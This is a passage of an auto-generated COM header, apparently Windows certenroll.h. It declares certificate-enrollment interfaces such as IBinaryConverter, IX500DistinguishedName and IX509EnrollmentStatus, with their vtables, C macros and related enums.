GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IObjectIds_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IObjectIds_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IObjectIds_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IObjectIds_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IObjectIds_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IObjectIds_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IObjectIds_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define IObjectIds_AddRange(This,pValue)\t\\\n    ( (This)->lpVtbl -> AddRange(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IObjectIds_INTERFACE_DEFINED__ */\n\n\n#ifndef __IBinaryConverter_INTERFACE_DEFINED__\n#define __IBinaryConverter_INTERFACE_DEFINED__\n\n/* interface IBinaryConverter */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IBinaryConverter;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab302-217d-11da-b2a4-000e7bbb2b09\")\n    IBinaryConverter : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE StringToString( \n            /* [in] */ __RPC__in BSTR strEncodedIn,\n            /* [in] */ EncodingType EncodingIn,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEncoded) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE VariantByteArrayToString( \n            /* [in] */ __RPC__in VARIANT *pvarByteArray,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEncoded) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE StringToVariantByteArray( \n            /* [in] */ __RPC__in BSTR strEncoded,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__out VARIANT *pvarByteArray) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IBinaryConverterVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IBinaryConverter * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IBinaryConverter * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IBinaryConverter * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IBinaryConverter * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IBinaryConverter * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IBinaryConverter * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IBinaryConverter * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *StringToString )( \n            __RPC__in IBinaryConverter * This,\n            /* [in] */ __RPC__in BSTR strEncodedIn,\n            /* [in] */ EncodingType EncodingIn,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEncoded);\n        \n        HRESULT ( STDMETHODCALLTYPE *VariantByteArrayToString )( \n            __RPC__in IBinaryConverter * This,\n            /* [in] */ __RPC__in VARIANT *pvarByteArray,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEncoded);\n        \n        HRESULT ( STDMETHODCALLTYPE *StringToVariantByteArray )( \n            __RPC__in IBinaryConverter * This,\n            /* [in] */ __RPC__in BSTR strEncoded,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__out VARIANT *pvarByteArray);\n        \n        END_INTERFACE\n    } IBinaryConverterVtbl;\n\n    interface IBinaryConverter\n    {\n        CONST_VTBL struct IBinaryConverterVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IBinaryConverter_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IBinaryConverter_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IBinaryConverter_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IBinaryConverter_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IBinaryConverter_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IBinaryConverter_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IBinaryConverter_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IBinaryConverter_StringToString(This,strEncodedIn,EncodingIn,Encoding,pstrEncoded)\t\\\n    ( (This)->lpVtbl -> StringToString(This,strEncodedIn,EncodingIn,Encoding,pstrEncoded) ) \n\n#define IBinaryConverter_VariantByteArrayToString(This,pvarByteArray,Encoding,pstrEncoded)\t\\\n    ( (This)->lpVtbl -> VariantByteArrayToString(This,pvarByteArray,Encoding,pstrEncoded) ) \n\n#define IBinaryConverter_StringToVariantByteArray(This,strEncoded,Encoding,pvarByteArray)\t\\\n    ( (This)->lpVtbl -> StringToVariantByteArray(This,strEncoded,Encoding,pvarByteArray) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IBinaryConverter_INTERFACE_DEFINED__ */\n\n\n#ifndef __IBinaryConverter2_INTERFACE_DEFINED__\n#define __IBinaryConverter2_INTERFACE_DEFINED__\n\n/* interface IBinaryConverter2 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IBinaryConverter2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"8D7928B4-4E17-428D-9A17-728DF00D1B2B\")\n    IBinaryConverter2 : public IBinaryConverter\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE StringArrayToVariantArray( \n            /* [in] */ __RPC__in VARIANT *pvarStringArray,\n            /* [retval][out] */ __RPC__out VARIANT *pvarVariantArray) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE VariantArrayToStringArray( \n            /* [in] */ __RPC__in VARIANT *pvarVariantArray,\n            /* [retval][out] */ __RPC__out VARIANT *pvarStringArray) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IBinaryConverter2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IBinaryConverter2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IBinaryConverter2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IBinaryConverter2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IBinaryConverter2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IBinaryConverter2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IBinaryConverter2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IBinaryConverter2 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *StringToString )( \n            __RPC__in IBinaryConverter2 * This,\n            /* [in] */ __RPC__in BSTR strEncodedIn,\n            /* [in] */ EncodingType EncodingIn,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEncoded);\n        \n        HRESULT ( STDMETHODCALLTYPE *VariantByteArrayToString )( \n            __RPC__in IBinaryConverter2 * This,\n            /* [in] */ __RPC__in VARIANT *pvarByteArray,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEncoded);\n        \n        HRESULT ( STDMETHODCALLTYPE *StringToVariantByteArray )( \n            __RPC__in IBinaryConverter2 * This,\n            /* [in] */ __RPC__in BSTR strEncoded,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__out VARIANT *pvarByteArray);\n        \n        HRESULT ( STDMETHODCALLTYPE *StringArrayToVariantArray )( \n            __RPC__in IBinaryConverter2 * This,\n            /* [in] */ __RPC__in VARIANT *pvarStringArray,\n            /* [retval][out] */ __RPC__out VARIANT *pvarVariantArray);\n        \n        HRESULT ( STDMETHODCALLTYPE *VariantArrayToStringArray )( \n            __RPC__in IBinaryConverter2 * This,\n            /* [in] */ __RPC__in VARIANT *pvarVariantArray,\n            /* [retval][out] */ __RPC__out VARIANT *pvarStringArray);\n        \n        END_INTERFACE\n    } IBinaryConverter2Vtbl;\n\n    interface IBinaryConverter2\n    {\n        CONST_VTBL struct IBinaryConverter2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IBinaryConverter2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IBinaryConverter2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IBinaryConverter2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IBinaryConverter2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IBinaryConverter2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IBinaryConverter2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IBinaryConverter2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IBinaryConverter2_StringToString(This,strEncodedIn,EncodingIn,Encoding,pstrEncoded)\t\\\n    ( (This)->lpVtbl -> StringToString(This,strEncodedIn,EncodingIn,Encoding,pstrEncoded) ) \n\n#define IBinaryConverter2_VariantByteArrayToString(This,pvarByteArray,Encoding,pstrEncoded)\t\\\n    ( (This)->lpVtbl -> VariantByteArrayToString(This,pvarByteArray,Encoding,pstrEncoded) ) \n\n#define IBinaryConverter2_StringToVariantByteArray(This,strEncoded,Encoding,pvarByteArray)\t\\\n    ( (This)->lpVtbl -> StringToVariantByteArray(This,strEncoded,Encoding,pvarByteArray) ) \n\n\n#define IBinaryConverter2_StringArrayToVariantArray(This,pvarStringArray,pvarVariantArray)\t\\\n    ( (This)->lpVtbl -> StringArrayToVariantArray(This,pvarStringArray,pvarVariantArray) ) \n\n#define IBinaryConverter2_VariantArrayToStringArray(This,pvarVariantArray,pvarStringArray)\t\\\n    ( (This)->lpVtbl -> VariantArrayToStringArray(This,pvarVariantArray,pvarStringArray) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IBinaryConverter2_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0004 */\n/* [local] */ \n\ntypedef \nenum X500NameFlags\n    {\n        XCN_CERT_NAME_STR_NONE\t= 0,\n        XCN_CERT_SIMPLE_NAME_STR\t= 1,\n        XCN_CERT_OID_NAME_STR\t= 2,\n        XCN_CERT_X500_NAME_STR\t= 3,\n        XCN_CERT_XML_NAME_STR\t= 4,\n        XCN_CERT_NAME_STR_SEMICOLON_FLAG\t= 0x40000000,\n        XCN_CERT_NAME_STR_NO_PLUS_FLAG\t= 0x20000000,\n        XCN_CERT_NAME_STR_NO_QUOTING_FLAG\t= 0x10000000,\n        XCN_CERT_NAME_STR_CRLF_FLAG\t= 0x8000000,\n        XCN_CERT_NAME_STR_COMMA_FLAG\t= 0x4000000,\n        XCN_CERT_NAME_STR_REVERSE_FLAG\t= 0x2000000,\n        XCN_CERT_NAME_STR_FORWARD_FLAG\t= 0x1000000,\n        XCN_CERT_NAME_STR_AMBIGUOUS_SEPARATOR_FLAGS\t= ( ( 0x40000000 | 0x8000000 )  | 0x4000000 ) ,\n        XCN_CERT_NAME_STR_DISABLE_IE4_UTF8_FLAG\t= 0x10000,\n        XCN_CERT_NAME_STR_ENABLE_T61_UNICODE_FLAG\t= 0x20000,\n        XCN_CERT_NAME_STR_ENABLE_UTF8_UNICODE_FLAG\t= 0x40000,\n        XCN_CERT_NAME_STR_FORCE_UTF8_DIR_STR_FLAG\t= 0x80000,\n        XCN_CERT_NAME_STR_DISABLE_UTF8_DIR_STR_FLAG\t= 0x100000,\n        XCN_CERT_NAME_STR_ENABLE_PUNYCODE_FLAG\t= 0x200000,\n        XCN_CERT_NAME_STR_DS_ESCAPED\t= 0x800000\n    } \tX500NameFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0004_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0004_v0_0_s_ifspec;\n\n#ifndef __IX500DistinguishedName_INTERFACE_DEFINED__\n#define __IX500DistinguishedName_INTERFACE_DEFINED__\n\n/* interface IX500DistinguishedName */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX500DistinguishedName;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab303-217d-11da-b2a4-000e7bbb2b09\")\n    IX500DistinguishedName : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Decode( \n            /* [in] */ __RPC__in BSTR strEncodedName,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64,\n            /* [defaultvalue][in] */ X500NameFlags NameFlags = XCN_CERT_NAME_STR_NONE) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Encode( \n            /* [in] */ __RPC__in BSTR strName,\n            /* [defaultvalue][in] */ X500NameFlags NameFlags = XCN_CERT_NAME_STR_NONE) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Name( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncodedName( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX500DistinguishedNameVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX500DistinguishedName * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX500DistinguishedName * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX500DistinguishedName * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX500DistinguishedName * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX500DistinguishedName * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX500DistinguishedName * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX500DistinguishedName * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Decode )( \n            __RPC__in IX500DistinguishedName * This,\n            /* [in] */ __RPC__in BSTR strEncodedName,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X500NameFlags NameFlags);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX500DistinguishedName * This,\n            /* [in] */ __RPC__in BSTR strName,\n            /* [defaultvalue][in] */ X500NameFlags NameFlags);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Name )( \n            __RPC__in IX500DistinguishedName * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncodedName )( \n            __RPC__in IX500DistinguishedName * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX500DistinguishedNameVtbl;\n\n    interface IX500DistinguishedName\n    {\n        CONST_VTBL struct IX500DistinguishedNameVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX500DistinguishedName_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX500DistinguishedName_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX500DistinguishedName_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX500DistinguishedName_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX500DistinguishedName_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX500DistinguishedName_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX500DistinguishedName_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX500DistinguishedName_Decode(This,strEncodedName,Encoding,NameFlags)\t\\\n    ( (This)->lpVtbl -> Decode(This,strEncodedName,Encoding,NameFlags) ) \n\n#define IX500DistinguishedName_Encode(This,strName,NameFlags)\t\\\n    ( (This)->lpVtbl -> Encode(This,strName,NameFlags) ) \n\n#define IX500DistinguishedName_get_Name(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Name(This,pValue) ) \n\n#define IX500DistinguishedName_get_EncodedName(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncodedName(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX500DistinguishedName_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0005 */\n/* [local] */ \n\ntypedef \nenum X509CertificateEnrollmentContext\n    {\n        ContextNone\t= 0,\n        ContextUser\t= 0x1,\n        ContextMachine\t= 0x2,\n        ContextAdministratorForceMachine\t= 0x3\n    } \tX509CertificateEnrollmentContext;\n\ntypedef \nenum EnrollmentEnrollStatus\n    {\n        Enrolled\t= 0x1,\n        EnrollPended\t= 0x2,\n        EnrollUIDeferredEnrollmentRequired\t= 0x4,\n        EnrollError\t= 0x10,\n        EnrollUnknown\t= 0x20,\n        EnrollSkipped\t= 0x40,\n        EnrollDenied\t= 0x100\n    } \tEnrollmentEnrollStatus;\n\ntypedef \nenum EnrollmentSelectionStatus\n    {\n        SelectedNo\t= 0,\n        SelectedYes\t= 1\n    } \tEnrollmentSelectionStatus;\n\ntypedef \nenum EnrollmentDisplayStatus\n    {\n        DisplayNo\t= 0,\n        DisplayYes\t= 1\n    } \tEnrollmentDisplayStatus;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0005_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0005_v0_0_s_ifspec;\n\n#ifndef __IX509EnrollmentStatus_INTERFACE_DEFINED__\n#define __IX509EnrollmentStatus_INTERFACE_DEFINED__\n\n/* interface IX509EnrollmentStatus */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509EnrollmentStatus;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab304-217d-11da-b2a4-000e7bbb2b09\")\n    IX509EnrollmentStatus : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE AppendText( \n            /* [in] */ __RPC__in BSTR strText) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Text( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Text( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Selected( \n            /* [retval][out] */ __RPC__out EnrollmentSelectionStatus *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Selected( \n            /* [in] */ EnrollmentSelectionStatus Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Display( \n            /* [retval][out] */ __RPC__out EnrollmentDisplayStatus *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Display( \n            /* [in] */ EnrollmentDisplayStatus Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Status( \n            /* [retval][out] */ __RPC__out EnrollmentEnrollStatus *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Status( \n            /* [in] */ EnrollmentEnrollStatus Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Error( \n            /* [retval][out] */ __RPC__out HRESULT *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Error( \n            /* [in] */ HRESULT Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ErrorText( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509EnrollmentStatusVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509EnrollmentStatus * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509EnrollmentStatus * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509EnrollmentStatus * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *AppendText )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ __RPC__in BSTR strText);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Text )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Text )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Selected )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [retval][out] */ __RPC__out EnrollmentSelectionStatus *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE 